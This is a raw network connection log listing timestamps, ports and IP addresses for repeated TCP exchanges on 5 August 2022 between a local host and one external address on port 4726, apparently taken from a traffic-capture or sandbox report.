Aug 5, 2022 11:38:18.642662048 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:18.720318079 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:18.774461031 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:22.801434040 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:22.852864981 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:22.853084087 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:22.853368998 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:22.912265062 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:22.912581921 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:23.001975060 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:23.002127886 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:23.053625107 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:23.053774118 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:23.142539024 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:23.142749071 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:23.220732927 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:23.257694006 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:23.331317902 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:23.332133055 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:23.383582115 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:23.383752108 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:23.470689058 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:23.470920086 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:23.522605896 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:23.538737059 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:23.590224981 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:23.632338047 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:23.663793087 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:23.751969099 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:23.804440022 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:23.892529011 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:23.892662048 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:23.986186028 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:24.023071051 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:24.111398935 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:24.111624002 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:24.205406904 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:24.210556030 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:24.299151897 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:24.351237059 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:24.439637899 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:24.439867973 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:24.533274889 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:24.570048094 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:24.632504940 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:24.658288002 CEST	4726	49866	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:24.658512115 CEST	49866	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:33.689234018 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:33.740096092 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:33.740298986 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:33.740763903 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:33.801028013 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:33.801222086 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:33.892293930 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:33.892471075 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:33.944417953 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:33.944633961 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:34.032747030 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:34.032949924 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:34.111910105 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:34.112257004 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:34.189474106 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:34.208693981 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:34.221622944 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:34.260031939 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:34.260199070 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:34.345236063 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:34.345447063 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:34.397064924 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:34.411700964 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:34.462831020 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:34.489600897 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:34.579778910 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:34.614600897 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:34.704775095 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:34.755471945 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:34.845262051 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:34.845562935 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:34.938849926 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:34.958551884 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:35.048316956 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:35.048558950 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:35.142081976 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:35.161267996 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:35.251570940 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:35.251729012 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:35.345237970 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:35.364326954 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:35.454515934 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:35.504976988 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:35.595258951 CEST	4726	49867	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:35.630016088 CEST	49867	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:39.762687922 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:39.813772917 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:39.814007998 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:39.814343929 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:39.873028994 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:39.873464108 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:39.924911022 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:39.925259113 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:40.001458883 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:40.001912117 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:40.079855919 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:40.080102921 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:40.158066988 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:40.190606117 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:40.191344023 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:40.242702961 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:40.242903948 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:40.329641104 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:40.329852104 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:40.381164074 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:40.425715923 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:40.425842047 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:40.476861954 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:40.517288923 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:40.517518044 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:40.611044884 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:40.613533974 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:40.704644918 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:40.753901005 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:40.846065998 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:40.846252918 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:40.938956022 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:40.972659111 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:41.064193964 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:41.064321041 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:41.157675982 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:41.159924030 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:41.251476049 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:41.300843000 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:41.392072916 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:41.392287970 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:41.486062050 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:41.519367933 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:41.581896067 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:41.610970020 CEST	4726	49868	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:41.611217022 CEST	49868	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:45.609369993 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:45.660618067 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:45.660826921 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:45.661128998 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:45.719846964 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:45.720168114 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:45.772030115 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:45.772372961 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:45.861294985 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:45.861521006 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:45.939974070 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:46.003181934 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:46.050030947 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:46.054778099 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:46.055026054 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:46.106872082 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:46.107227087 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:46.189265966 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:46.189524889 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:46.241014957 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:46.241210938 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:46.292471886 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:46.330704927 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:46.423682928 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:46.423998117 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:46.517435074 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:46.565148115 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:46.657984018 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:46.658231974 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:46.751749039 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:46.752491951 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:46.845438957 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:46.846132040 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:46.939332962 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:47.002578020 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:47.095617056 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:47.095782995 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:47.189249992 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:47.205560923 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:47.298691988 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:47.330740929 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:47.423655987 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:47.423877954 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:47.502288103 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:47.517445087 CEST	4726	49869	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:47.517620087 CEST	49869	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:51.647537947 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:51.699095964 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:51.699333906 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:51.699621916 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:51.758160114 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:51.758557081 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:51.810762882 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:51.813977003 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:51.892112970 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:51.892281055 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:51.970390081 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:51.970587015 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:52.048533916 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:52.080916882 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:52.081682920 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:52.133251905 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:52.133446932 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:52.220253944 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:52.220495939 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:52.272547960 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:52.313704014 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:52.313757896 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:52.364710093 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:52.407337904 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:52.407696009 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:52.454351902 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:52.548408031 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:52.579406023 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:52.673358917 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:52.673547983 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:52.766917944 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:52.767139912 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:52.860816002 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:52.861017942 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:52.954797983 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:53.001110077 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:53.095371008 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:53.095515966 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:53.189369917 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:53.219816923 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:53.313986063 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:53.314193964 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:53.407857895 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:53.408200979 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:53.501770020 CEST	4726	49870	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:53.563546896 CEST	49870	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:57.590202093 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:57.637706041 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:57.637969017 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:57.638278961 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:57.693319082 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:57.693659067 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:57.741667032 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:57.741889954 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:57.814416885 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:57.814639091 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:57.892093897 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:57.906267881 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:57.985845089 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:58.003051043 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:58.003901005 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:58.051279068 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:58.051446915 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:58.126545906 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:58.126708031 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:58.174570084 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:58.203146935 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:58.250435114 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:58.296731949 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:58.359291077 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:58.439100027 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:58.439302921 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:58.517047882 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:58.533710003 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:58.562334061 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:58.642055035 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:58.642349005 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:58.720161915 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:58.765499115 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:58.845752954 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:58.906173944 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:58.986257076 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:59.031115055 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:59.111525059 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:59.111875057 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:59.189028025 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:59.202917099 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:59.282675982 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:59.359088898 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:59.421694040 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:59.439142942 CEST	4726	49871	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:59.439373970 CEST	49871	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:08.478712082 CEST	49872	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:08.529568911 CEST	4726	49872	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:08.529810905 CEST	49872	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:08.530117035 CEST	49872	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:08.581260920 CEST	4726	49872	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:08.622648001 CEST	49872	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:08.653978109 CEST	49872	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:08.673466921 CEST	4726	49872	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:08.716310978 CEST	49872	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:08.716413975 CEST	49872	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:08.735876083 CEST	4726	49872	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:08.736145973 CEST	49872	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:12.742521048 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:12.794126987 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:12.794517040 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:12.794755936 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:12.852950096 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:12.853256941 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:12.905009985 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:12.905261993 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:12.986174107 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:12.986435890 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:13.064305067 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:13.106137037 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:13.175117016 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:13.175818920 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:13.227185965 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:13.227771044 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:13.279580116 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:13.279815912 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:13.331724882 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:13.331924915 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:13.423737049 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:13.465395927 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:13.548830032 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:13.549002886 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:13.626979113 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:13.652848959 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:13.736411095 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:13.736623049 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:13.814666986 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:13.855979919 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:13.939538956 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:13.980925083 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:14.064323902 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:14.105870008 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:14.189316034 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:14.189491034 CEST	49873	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:39:14.267616034 CEST	4726	49873	188.127.230.176	192.168.11.20
Aug 5, 2022 11:39:14.324577093 CEST	49873	4726	192.168.11.20	188.127.230.176
